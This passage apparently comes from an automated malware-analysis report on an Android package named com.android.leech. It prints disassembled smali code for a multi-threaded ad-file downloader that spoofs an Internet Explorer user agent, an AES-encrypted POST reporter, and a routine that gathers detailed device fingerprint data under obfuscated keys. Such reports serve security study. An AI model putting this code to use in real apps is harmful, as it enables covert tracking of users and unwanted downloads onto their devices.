                                                                              33const-string v7, "image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-shockwave-flash, application/xaml+xml, application/vnd.ms-xpsdocument, application/x-ms-xbap, application/x-ms-application, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*"
                                                                              35invoke-virtual {v0, v6, v7}, Ljava/net/HttpURLConnection;->setRequestProperty(Ljava/lang/String;Ljava/lang/String;)V
                                                                              37const-string v6, "Accept-Language"
                                                                              39const-string v7, "zh-CN"
                                                                              41invoke-virtual {v0, v6, v7}, Ljava/net/HttpURLConnection;->setRequestProperty(Ljava/lang/String;Ljava/lang/String;)V
                                                                              43const-string v6, "Referer"
                                                                              45iget-object v7, p0, Lcom/android/leech/main/ad/mini/download/FileDownloader;->downloadUrl:Ljava/lang/String;
                                                                              47invoke-virtual {v0, v6, v7}, Ljava/net/HttpURLConnection;->setRequestProperty(Ljava/lang/String;Ljava/lang/String;)V
                                                                              49const-string v6, "Charset"
                                                                              51const-string v7, "UTF-8"
                                                                              53invoke-virtual {v0, v6, v7}, Ljava/net/HttpURLConnection;->setRequestProperty(Ljava/lang/String;Ljava/lang/String;)V
                                                                              55const-string v6, "User-Agent"
                                                                              57const-string v7, "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)"
                                                                              59invoke-virtual {v0, v6, v7}, Ljava/net/HttpURLConnection;->setRequestProperty(Ljava/lang/String;Ljava/lang/String;)V
                                                                              61const-string v6, "Connection"
                                                                              63const-string v7, "Keep-Alive"
                                                                              65invoke-virtual {v0, v6, v7}, Ljava/net/HttpURLConnection;->setRequestProperty(Ljava/lang/String;Ljava/lang/String;)V
                                                                              67invoke-virtual {v0}, Ljava/net/HttpURLConnection;->connect()V
                                                                              69invoke-static {v0}, Lcom/android/leech/main/ad/mini/download/FileDownloader;->printResponseHeader(Ljava/net/HttpURLConnection;)V
                                                                              71invoke-virtual {v0}, Ljava/net/HttpURLConnection;->getResponseCode()I
                                                                              72move-result v6
                                                                              73const/16 v7, 0xc8
                                                                              74if-ne v6, v7, :cond_124
                                                                              76invoke-virtual {v0}, Ljava/net/HttpURLConnection;->getContentLength()I
                                                                              77move-result v6
                                                                              78iput v6, p0, Lcom/android/leech/main/ad/mini/download/FileDownloader;->fileSize:I
                                                                              79iget v6, p0, Lcom/android/leech/main/ad/mini/download/FileDownloader;->fileSize:I
                                                                              80if-gtz v6, :cond_7d
                                                                              81new-instance v6, Ljava/lang/RuntimeException;
                                                                              83const-string v7, "Unkown file size "
                                                                              85invoke-direct {v6, v7}, Ljava/lang/RuntimeException;-><init>(Ljava/lang/String;)V
                                                                              86throw v6
                                                                              87try_end_74: move-exception v1
                                                                              89invoke-virtual {v1}, Ljava/lang/Exception;->toString()Ljava/lang/String;
                                                                              90move-result-object v6
                                                                              92invoke-static {v6}, Lcom/android/leech/main/ad/mini/download/FileDownloader;->print(Ljava/lang/String;)V
                                                                              93goto_7c: return-void
                                                                              94cond_7d:
                                                                              95iget-object v6, p0, Lcom/android/leech/main/ad/mini/download/FileDownloader;->mFileName:Ljava/lang/String;
                                                                              97invoke-static {v6}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                                                                              98move-result v6
                                                                              99if-eqz v6, :cond_8b
                                                                              101invoke-direct {p0, v0}, Lcom/android/leech/main/ad/mini/download/FileDownloader;->getFileName(Ljava/net/HttpURLConnection;)Ljava/lang/String;
                                                                              102move-result-object v6
                                                                              103iput-object v6, p0, Lcom/android/leech/main/ad/mini/download/FileDownloader;->mFileName:Ljava/lang/String;
                                                                              104cond_8b: new-instance v6, Ljava/io/File;
                                                                              106iget-object v7, p0, Lcom/android/leech/main/ad/mini/download/FileDownloader;->mFileSaveDir:Ljava/io/File;
                                                                              108iget-object v8, p0, Lcom/android/leech/main/ad/mini/download/FileDownloader;->mFileName:Ljava/lang/String;
                                                                              110invoke-direct {v6, v7, v8}, Ljava/io/File;-><init>(Ljava/io/File;Ljava/lang/String;)V
                                                                              111iput-object v6, p0, Lcom/android/leech/main/ad/mini/download/FileDownloader;->saveFile:Ljava/io/File;
                                                                              113iget-object v6, p0, Lcom/android/leech/main/ad/mini/download/FileDownloader;->fileService:Lcom/android/leech/main/ad/mini/download/FileService;
                                                                              115iget-object v7, p0, Lcom/android/leech/main/ad/mini/download/FileDownloader;->downloadUrl:Ljava/lang/String;
                                                                              117invoke-virtual {v6, v7}, Lcom/android/leech/main/ad/mini/download/FileService;->getData(Ljava/lang/String;)Ljava/util/Map;
                                                                              118move-result-object v4
                                                                              120invoke-interface {v4}, Ljava/util/Map;->size()I
                                                                              121move-result v6
                                                                              122if-lez v6, :cond_c6
                                                                              124invoke-interface {v4}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                                                              125move-result-object v6
                                                                              127invoke-interface {v6}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                                                              128move-result-object v6
                                                                              129goto_ac:
                                                                              130invoke-interface {v6}, Ljava/util/Iterator;->hasNext()Z
                                                                              131move-result v7
                                                                              132if-eqz v7, :cond_c6
                                                                              134invoke-interface {v6}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                                                              135move-result-object v2
                                                                              136check-cast v2, Ljava/util/Map$Entry;
                                                                              138iget-object v7, p0, Lcom/android/leech/main/ad/mini/download/FileDownloader;->data:Ljava/util/Map;
                                                                              140invoke-interface {v2}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                                                              141move-result-object v8
                                                                              143invoke-interface {v2}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                                                              144move-result-object v9
                                                                              146invoke-interface {v7, v8, v9}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                                                              147goto/16 :goto_ac
                                                                              148cond_c6:
                                                                              149iget-object v6, p0, Lcom/android/leech/main/ad/mini/download/FileDownloader;->data:Ljava/util/Map;
                                                                              151invoke-interface {v6}, Ljava/util/Map;->size()I
                                                                              152move-result v6
                                                                              154iget-object v7, p0, Lcom/android/leech/main/ad/mini/download/FileDownloader;->threads:[Lcom/android/leech/main/ad/mini/download/DownloadThread;
                                                                              155array-length v7, v7
                                                                              156if-ne v6, v7, :cond_109
                                                                              157const/4 v3, 0x0
                                                                              158goto_d2:
                                                                              159iget-object v6, p0, Lcom/android/leech/main/ad/mini/download/FileDownloader;->threads:[Lcom/android/leech/main/ad/mini/download/DownloadThread;
                                                                              160array-length v6, v6
                                                                              161if-ge v3, v6, :cond_f1
                                                                              162iget v7, p0, Lcom/android/leech/main/ad/mini/download/FileDownloader;->downloadSize:I
                                                                              164iget-object v6, p0, Lcom/android/leech/main/ad/mini/download/FileDownloader;->data:Ljava/util/Map;
                                                                              165add-int/lit8 v8, v3, 0x1
                                                                              167invoke-static {v8}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                                                                              168move-result-object v8
                                                                              170invoke-interface {v6, v8}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
                                                                              171move-result-object v6
                                                                              172check-cast v6, Ljava/lang/Integer;
                                                                              174invoke-virtual {v6}, Ljava/lang/Integer;->intValue()I
                                                                              175move-result v6
                                                                              176add-int/2addr v6, v7
                                                                              177iput v6, p0, Lcom/android/leech/main/ad/mini/download/FileDownloader;->downloadSize:I
                                                                              178add-int/lit8 v3, v3, 0x1
                                                                              179goto/16 :goto_d2
                                                                              180cond_f1: new-instance v6, Ljava/lang/StringBuilder;
                                                                              182invoke-direct {v6}, Ljava/lang/StringBuilder;-><init>()V
                                                                              184const-string v7, "\u5df2\u7ecf\u4e0b\u8f7d\u7684\u957f\u5ea6"
                                                                              186invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              187move-result-object v6
                                                                              188iget v7, p0, Lcom/android/leech/main/ad/mini/download/FileDownloader;->downloadSize:I
                                                                              190invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                                                                              191move-result-object v6
                                                                              193invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              194move-result-object v6
                                                                              196invoke-static {v6}, Lcom/android/leech/main/ad/mini/download/FileDownloader;->print(Ljava/lang/String;)V
                                                                              197cond_109: iget v6, p0, Lcom/android/leech/main/ad/mini/download/FileDownloader;->fileSize:I
                                                                              199iget-object v7, p0, Lcom/android/leech/main/ad/mini/download/FileDownloader;->threads:[Lcom/android/leech/main/ad/mini/download/DownloadThread;
                                                                              200array-length v7, v7
                                                                              201rem-int/2addr v6, v7
                                                                              202if-nez v6, :cond_11b
                                                                              203iget v6, p0, Lcom/android/leech/main/ad/mini/download/FileDownloader;->fileSize:I
                                                                              205iget-object v7, p0, Lcom/android/leech/main/ad/mini/download/FileDownloader;->threads:[Lcom/android/leech/main/ad/mini/download/DownloadThread;
                                                                              206array-length v7, v7
                                                                              207div-int/2addr v6, v7
                                                                              208goto_117: iput v6, p0, Lcom/android/leech/main/ad/mini/download/FileDownloader;->block:I
                                                                              209goto/16 :goto_7c
                                                                              210cond_11b: iget v6, p0, Lcom/android/leech/main/ad/mini/download/FileDownloader;->fileSize:I
                                                                              212iget-object v7, p0, Lcom/android/leech/main/ad/mini/download/FileDownloader;->threads:[Lcom/android/leech/main/ad/mini/download/DownloadThread;
                                                                              213array-length v7, v7
                                                                              214div-int/2addr v6, v7
                                                                              215add-int/lit8 v6, v6, 0x1
                                                                              216goto/16 :goto_117
                                                                              217cond_124: new-instance v6, Ljava/lang/RuntimeException;
                                                                              219const-string v7, "server no response "
                                                                              221invoke-direct {v6, v7}, Ljava/lang/RuntimeException;-><init>(Ljava/lang/String;)V
                                                                              222throw v6
                                                                              Cross References
                                                                              APIs
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.net.URL.<init>
                                                                              • java.net.URL.openConnection
                                                                              • java.net.HttpURLConnection.setConnectTimeout
                                                                              • java.net.HttpURLConnection.setReadTimeout
                                                                              • java.net.HttpURLConnection.setRequestProperty
                                                                              • java.net.HttpURLConnection.setRequestProperty
                                                                              • java.net.HttpURLConnection.setRequestMethod
                                                                              • java.net.HttpURLConnection.setDoOutput
                                                                              • java.net.HttpURLConnection.getOutputStream
                                                                              • java.io.DataOutputStream.<init>
                                                                              • java.io.DataOutputStream.writeBytes
                                                                              • java.io.DataOutputStream.flush
                                                                              • java.io.DataOutputStream.close
                                                                              • java.net.HttpURLConnection.getResponseCode
                                                                              • java.net.HttpURLConnection.getInputStream
                                                                              • java.io.InputStreamReader.<init>
                                                                              • java.io.BufferedReader.<init>
                                                                              • java.io.BufferedReader.readLine
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.Exception.getMessage
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              • java.lang.Exception.printStackTrace
                                                                              • java.io.InputStream.close
                                                                              • java.net.HttpURLConnection.disconnect
                                                                              • java.lang.Thread.sleep
                                                                              • java.io.InputStream.close
                                                                              • java.net.HttpURLConnection.disconnect
                                                                              • java.lang.StringBuilder.toString
                                                                              • android.text.TextUtils.isEmpty
                                                                              • java.lang.StringBuilder.toString
                                                                              • android.text.TextUtils.isEmpty
                                                                              • java.lang.StringBuilder.toString
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              • java.lang.IllegalArgumentException.<init>
                                                                              • java.io.InputStream.close
                                                                              • java.net.HttpURLConnection.disconnect
                                                                              • java.lang.StringBuilder.toString
                                                                              Strings
                                                                              • Content-Type
                                                                              • application/json; charset=UTF-8
                                                                              • Accept
                                                                              • application/json
                                                                              • POST
                                                                              • Core
                                                                              • reqerror
                                                                              • message:
                                                                              • request bad,code is
                                                                              Position Instruction Meta Information
                                                                              0.param p0, "urlStr" # Ljava/lang/String;
                                                                              1.param p1, "strPost" # Ljava/lang/String;
                                                                              2.prologue
                                                                              3new-instance v8, Ljava/lang/StringBuilder;
                                                                              5invoke-direct {v8}, Ljava/lang/StringBuilder;-><init>()V
                                                                              6const/4 v5, 0x0
                                                                              7const/4 v11, 0x0
                                                                              8const/4 v3, 0x0
                                                                              9goto_8: const/4 v13, 0x2
                                                                              10if-ge v3, v13, :cond_b2
                                                                              11try_start_b: new-instance v10, Ljava/net/URL;
                                                                              12move-object/from16 v0, p0
                                                                              14invoke-direct {v10, v0}, Ljava/net/URL;-><init>(Ljava/lang/String;)V
                                                                              16invoke-virtual {v10}, Ljava/net/URL;->openConnection()Ljava/net/URLConnection;
                                                                              17move-result-object v13
                                                                              18move-object v0, v13
                                                                              19check-cast v0, Ljava/net/HttpURLConnection;
                                                                              20move-object v11, v0
                                                                              21const/16 v13, 0x3a98
                                                                              23invoke-virtual {v11, v13}, Ljava/net/HttpURLConnection;->setConnectTimeout(I)V
                                                                              24const/16 v13, 0x3a98
                                                                              26invoke-virtual {v11, v13}, Ljava/net/HttpURLConnection;->setReadTimeout(I)V
                                                                              28const-string v13, "Content-Type"
                                                                              30const-string v14, "application/json; charset=UTF-8"
                                                                              32invoke-virtual {v11, v13, v14}, Ljava/net/HttpURLConnection;->setRequestProperty(Ljava/lang/String;Ljava/lang/String;)V
                                                                              34const-string v13, "Accept"
                                                                              36const-string v14, "application/json"
                                                                              38invoke-virtual {v11, v13, v14}, Ljava/net/HttpURLConnection;->setRequestProperty(Ljava/lang/String;Ljava/lang/String;)V
                                                                              40const-string v13, "POST"
                                                                              42invoke-virtual {v11, v13}, Ljava/net/HttpURLConnection;->setRequestMethod(Ljava/lang/String;)V
                                                                              43const/4 v13, 0x1
                                                                              45invoke-virtual {v11, v13}, Ljava/net/HttpURLConnection;->setDoOutput(Z)V
                                                                              46new-instance v12, Ljava/io/DataOutputStream;
                                                                              48invoke-virtual {v11}, Ljava/net/HttpURLConnection;->getOutputStream()Ljava/io/OutputStream;
                                                                              49move-result-object v13
                                                                              51invoke-direct {v12, v13}, Ljava/io/DataOutputStream;-><init>(Ljava/io/OutputStream;)V
                                                                              53invoke-static/range {p1 .. p1}, Lcom/android/leech/base/util/AESUtil;->encrypt(Ljava/lang/String;)Ljava/lang/String;
                                                                              54move-result-object v2
                                                                              55if-eqz v2, :cond_53
                                                                              57invoke-virtual {v12, v2}, Ljava/io/DataOutputStream;->writeBytes(Ljava/lang/String;)V
                                                                              59invoke-virtual {v12}, Ljava/io/DataOutputStream;->flush()V
                                                                              61invoke-virtual {v12}, Ljava/io/DataOutputStream;->close()V
                                                                              62cond_53:
                                                                              63invoke-virtual {v11}, Ljava/net/HttpURLConnection;->getResponseCode()I
                                                                              64move-result v9
                                                                              65const/16 v13, 0xc8
                                                                              66if-ne v9, v13, :cond_cf
                                                                              67new-instance v7, Ljava/io/BufferedReader;
                                                                              68new-instance v13, Ljava/io/InputStreamReader;
                                                                              70invoke-virtual {v11}, Ljava/net/HttpURLConnection;->getInputStream()Ljava/io/InputStream;
                                                                              71move-result-object v14
                                                                              73invoke-direct {v13, v14}, Ljava/io/InputStreamReader;-><init>(Ljava/io/InputStream;)V
                                                                              75invoke-direct {v7, v13}, Ljava/io/BufferedReader;-><init>(Ljava/io/Reader;)V
                                                                              76goto_69:
                                                                              77invoke-virtual {v7}, Ljava/io/BufferedReader;->readLine()Ljava/lang/String;
                                                                              78move-result-object v6
                                                                              79if-eqz v6, :cond_a8
                                                                              81invoke-virtual {v8, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              82try_end_72: goto/16 :goto_69
                                                                              83catch_73: move-exception v4
                                                                              84try_start_74:
                                                                              85const-string v13, "Core"
                                                                              87const-string v14, "reqerror"
                                                                              88new-instance v15, Ljava/lang/StringBuilder;
                                                                              90invoke-direct {v15}, Ljava/lang/StringBuilder;-><init>()V
                                                                              92const-string v16, "message:"
                                                                              94invoke-virtual/range {v15 .. v16}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              95move-result-object v15
                                                                              97invoke-virtual {v4}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                                                              98move-result-object v16
                                                                              100invoke-virtual/range {v15 .. v16}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              101move-result-object v15
                                                                              103invoke-virtual {v15}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              104move-result-object v15
                                                                              106invoke-static {v13, v14, v15}, Lcom/android/leech/base/analytics/Analytics;->doEvent(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                                              108invoke-virtual {v4}, Ljava/lang/Exception;->printStackTrace()V
                                                                              109try_end_95: if-eqz v5, :cond_9a
                                                                              110try_start_97:
                                                                              111invoke-virtual {v5}, Ljava/io/InputStream;->close()V
                                                                              112cond_9a: if-eqz v11, :cond_9f
                                                                              114invoke-virtual {v11}, Ljava/net/HttpURLConnection;->disconnect()V
                                                                              115cond_9f: const-wide/16 v13, 0x3a98
                                                                              116try_start_a1:
                                                                              117invoke-static {v13, v14}, Ljava/lang/Thread;->sleep(J)V
                                                                              118try_end_a4: add-int/lit8 v3, v3, 0x1
                                                                              119goto/16 :goto_8
                                                                              120cond_a8: if-eqz v5, :cond_ad
                                                                              121try_start_aa:
                                                                              122invoke-virtual {v5}, Ljava/io/InputStream;->close()V
                                                                              123try_end_ad: if-eqz v11, :cond_b2
                                                                              125invoke-virtual {v11}, Ljava/net/HttpURLConnection;->disconnect()V
                                                                              126cond_b2:
                                                                              127invoke-virtual {v8}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              128move-result-object v13
                                                                              130invoke-static {v13}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                                                                              131move-result v13
                                                                              132if-nez v13, :cond_f4
                                                                              134invoke-virtual {v8}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              135move-result-object v13
                                                                              137invoke-static {v13}, Lcom/android/leech/base/util/AESUtil;->decrypt(Ljava/lang/String;)Ljava/lang/String;
                                                                              138move-result-object v1
                                                                              140invoke-static {v1}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                                                                              141move-result v13
                                                                              142if-eqz v13, :cond_ce
                                                                              144invoke-virtual {v8}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              145move-result-object v1
                                                                              146cond_ce: return-object v1
                                                                              147cond_cf: new-instance v13, Ljava/lang/IllegalArgumentException;
                                                                              148new-instance v14, Ljava/lang/StringBuilder;
                                                                              150invoke-direct {v14}, Ljava/lang/StringBuilder;-><init>()V
                                                                              152const-string v15, "request bad,code is "
                                                                              154invoke-virtual {v14, v15}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              155move-result-object v14
                                                                              157invoke-virtual {v14, v9}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                                                                              158move-result-object v14
                                                                              160invoke-virtual {v14}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              161move-result-object v14
                                                                              163invoke-direct {v13, v14}, Ljava/lang/IllegalArgumentException;-><init>(Ljava/lang/String;)V
                                                                              164throw v13
                                                                              165try_end_e8: move-exception v13
                                                                              166if-eqz v5, :cond_ee
                                                                              167try_start_eb:
                                                                              168invoke-virtual {v5}, Ljava/io/InputStream;->close()V
                                                                              169try_end_ee: if-eqz v11, :cond_f3
                                                                              171invoke-virtual {v11}, Ljava/net/HttpURLConnection;->disconnect()V
                                                                              172cond_f3: throw v13
                                                                              173cond_f4:
                                                                              174invoke-virtual {v8}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              175move-result-object v1
                                                                              176goto/16 :goto_ce
                                                                              177catch_f9: move-exception v13
                                                                              178goto/16 :goto_ad
                                                                              179catch_fb: move-exception v13
                                                                              180goto/16 :goto_9a
                                                                              181catch_fd: move-exception v14
                                                                              182goto/16 :goto_ee
                                                                              183catch_ff: move-exception v13
                                                                              184goto/16 :goto_a4
                                                                              Cross References
                                                                              APIs
                                                                              • org.json.JSONObject.<init>
                                                                              • android.os.Build.PRODUCT:Ljava/lang/String
                                                                              • org.json.JSONObject.put
                                                                              • android.os.Build.BOOTLOADER:Ljava/lang/String
                                                                              • org.json.JSONObject.put
                                                                              • android.os.Build.getRadioVersion
                                                                              • org.json.JSONObject.put
                                                                              • android.os.Build.FINGERPRINT:Ljava/lang/String
                                                                              • org.json.JSONObject.put
                                                                              • android.os.Build.HARDWARE:Ljava/lang/String
                                                                              • org.json.JSONObject.put
                                                                              • android.os.Build.HOST:Ljava/lang/String
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONArray.<init>
                                                                              • android.os.Build.SUPPORTED_32_BIT_ABIS:[Ljava/lang/String
                                                                              • android.os.Build.SUPPORTED_32_BIT_ABIS:[Ljava/lang/String
                                                                              • org.json.JSONArray.put
                                                                              • org.json.JSONArray.length
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONArray.<init>
                                                                              • android.os.Build.SUPPORTED_64_BIT_ABIS:[Ljava/lang/String
                                                                              • android.os.Build.SUPPORTED_64_BIT_ABIS:[Ljava/lang/String
                                                                              • org.json.JSONArray.put
                                                                              • org.json.JSONArray.length
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONArray.<init>
                                                                              • android.os.Build.SUPPORTED_ABIS:[Ljava/lang/String
                                                                              • android.os.Build.SUPPORTED_ABIS:[Ljava/lang/String
                                                                              • org.json.JSONArray.put
                                                                              • org.json.JSONArray.length
                                                                              • org.json.JSONObject.put
                                                                              • android.os.Build.TAGS:Ljava/lang/String
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.put
                                                                              • android.os.Build.USER:Ljava/lang/String
                                                                              • org.json.JSONObject.put
                                                                              • android.os.Build.CPU_ABI:Ljava/lang/String
                                                                              • org.json.JSONObject.put
                                                                              • android.os.Build.CPU_ABI2:Ljava/lang/String
                                                                              • org.json.JSONObject.put
                                                                              • android.os.Build.RADIO:Ljava/lang/String
                                                                              • org.json.JSONObject.put
                                                                              • android.os.Build$VERSION.BASE_OS:Ljava/lang/String
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.put
                                                                              • android.os.Build$VERSION.SECURITY_PATCH:Ljava/lang/String
                                                                              • org.json.JSONObject.put
                                                                              • android.os.Build$VERSION.CODENAME:Ljava/lang/String
                                                                              • org.json.JSONObject.put
                                                                              • android.os.Build$VERSION.INCREMENTAL:Ljava/lang/String
                                                                              • org.json.JSONObject.put
                                                                              Strings
                                                                              • a_pr
                                                                              • a_bl
                                                                              • a_rv
                                                                              • a_fp
                                                                              • a_hw
                                                                              • a_host
                                                                              • a_s32
                                                                              • a_s64
                                                                              • a_sa
                                                                              • a_ta
                                                                              • a_uk
                                                                              • unknown
                                                                              • a_user
                                                                              • a_cpu1
                                                                              • a_cpu2
                                                                              • a_ra
                                                                              • a_bos
                                                                              • a_pre
                                                                              • a_sp
                                                                              • a_cn
                                                                              • a_intl
                                                                              Position Instruction Meta Information
                                                                              0const/16 v5, 0x15
                                                                              1const/4 v1, 0x0
                                                                              2new-instance v0, Lorg/json/JSONObject;
                                                                              4invoke-direct {v0}, Lorg/json/JSONObject;-><init>()V
                                                                              5try_start_8:
                                                                              6const-string v2, "a_pr"
                                                                              8sget-object v3, Landroid/os/Build;->PRODUCT:Ljava/lang/String;
                                                                              10invoke-virtual {v0, v2, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              12const-string v2, "a_bl"
                                                                              14sget-object v3, Landroid/os/Build;->BOOTLOADER:Ljava/lang/String;
                                                                              16invoke-virtual {v0, v2, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              17sget v2, Landroid/os/Build$VERSION;->SDK_INT:I
                                                                              18const/16 v3, 0xe
                                                                              19if-lt v2, v3, :cond_25
                                                                              21const-string v2, "a_rv"
                                                                              23invoke-static {}, Landroid/os/Build;->getRadioVersion()Ljava/lang/String;
                                                                              24move-result-object v3
                                                                              26invoke-virtual {v0, v2, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              27cond_25:
                                                                              28const-string v2, "a_fp"
                                                                              30sget-object v3, Landroid/os/Build;->FINGERPRINT:Ljava/lang/String;
                                                                              32invoke-virtual {v0, v2, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              34const-string v2, "a_hw"
                                                                              36sget-object v3, Landroid/os/Build;->HARDWARE:Ljava/lang/String;
                                                                              38invoke-virtual {v0, v2, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              40const-string v2, "a_host"
                                                                              42sget-object v3, Landroid/os/Build;->HOST:Ljava/lang/String;
                                                                              44invoke-virtual {v0, v2, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              45sget v2, Landroid/os/Build$VERSION;->SDK_INT:I
                                                                              46if-lt v2, v5, :cond_60
                                                                              47new-instance v3, Lorg/json/JSONArray;
                                                                              49invoke-direct {v3}, Lorg/json/JSONArray;-><init>()V
                                                                              50move v2, v1
                                                                              51goto_44:
                                                                              52sget-object v4, Landroid/os/Build;->SUPPORTED_32_BIT_ABIS:[Ljava/lang/String;
                                                                              53array-length v4, v4
                                                                              54if-ge v2, v4, :cond_53
                                                                              56sget-object v4, Landroid/os/Build;->SUPPORTED_32_BIT_ABIS:[Ljava/lang/String;
                                                                              57aget-object v4, v4, v2
                                                                              59invoke-virtual {v3, v4}, Lorg/json/JSONArray;->put(Ljava/lang/Object;)Lorg/json/JSONArray;
                                                                              60add-int/lit8 v2, v2, 0x1
                                                                              61goto/16 :goto_44
                                                                              62cond_53: if-eqz v3, :cond_60
                                                                              64invoke-virtual {v3}, Lorg/json/JSONArray;->length()I
                                                                              65move-result v2
                                                                              66if-lez v2, :cond_60
                                                                              68const-string v2, "a_s32"
                                                                              70invoke-virtual {v0, v2, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              71cond_60: sget v2, Landroid/os/Build$VERSION;->SDK_INT:I
                                                                              72if-lt v2, v5, :cond_86
                                                                              73new-instance v3, Lorg/json/JSONArray;
                                                                              75invoke-direct {v3}, Lorg/json/JSONArray;-><init>()V
                                                                              76move v2, v1
                                                                              77goto_6a:
                                                                              78sget-object v4, Landroid/os/Build;->SUPPORTED_64_BIT_ABIS:[Ljava/lang/String;
                                                                              79array-length v4, v4
                                                                              80if-ge v2, v4, :cond_79
                                                                              82sget-object v4, Landroid/os/Build;->SUPPORTED_64_BIT_ABIS:[Ljava/lang/String;
                                                                              83aget-object v4, v4, v2
                                                                              85invoke-virtual {v3, v4}, Lorg/json/JSONArray;->put(Ljava/lang/Object;)Lorg/json/JSONArray;
                                                                              86add-int/lit8 v2, v2, 0x1
                                                                              87goto/16 :goto_6a
                                                                              88cond_79: if-eqz v3, :cond_86
                                                                              90invoke-virtual {v3}, Lorg/json/JSONArray;->length()I
                                                                              91move-result v2
                                                                              92if-lez v2, :cond_86
                                                                              94const-string v2, "a_s64"
                                                                              96invoke-virtual {v0, v2, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              97cond_86: sget v2, Landroid/os/Build$VERSION;->SDK_INT:I
                                                                              98if-lt v2, v5, :cond_ab
                                                                              99new-instance v2, Lorg/json/JSONArray;
                                                                              101invoke-direct {v2}, Lorg/json/JSONArray;-><init>()V
                                                                              102goto_8f:
                                                                              103sget-object v3, Landroid/os/Build;->SUPPORTED_ABIS:[Ljava/lang/String;
                                                                              104array-length v3, v3
                                                                              105if-ge v1, v3, :cond_9e
                                                                              107sget-object v3, Landroid/os/Build;->SUPPORTED_ABIS:[Ljava/lang/String;
                                                                              108aget-object v3, v3, v1
                                                                              110invoke-virtual {v2, v3}, Lorg/json/JSONArray;->put(Ljava/lang/Object;)Lorg/json/JSONArray;
                                                                              111add-int/lit8 v1, v1, 0x1
                                                                              112goto/16 :goto_8f
                                                                              113cond_9e: if-eqz v2, :cond_ab
                                                                              115invoke-virtual {v2}, Lorg/json/JSONArray;->length()I
                                                                              116move-result v1
                                                                              117if-lez v1, :cond_ab
                                                                              119const-string v1, "a_sa"
                                                                              121invoke-virtual {v0, v1, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              122cond_ab:
                                                                              123const-string v1, "a_ta"
                                                                              125sget-object v2, Landroid/os/Build;->TAGS:Ljava/lang/String;
                                                                              127invoke-virtual {v0, v1, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              129const-string v1, "a_uk"
                                                                              131const-string v2, "unknown"
                                                                              133invoke-virtual {v0, v1, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              135const-string v1, "a_user"
                                                                              137sget-object v2, Landroid/os/Build;->USER:Ljava/lang/String;
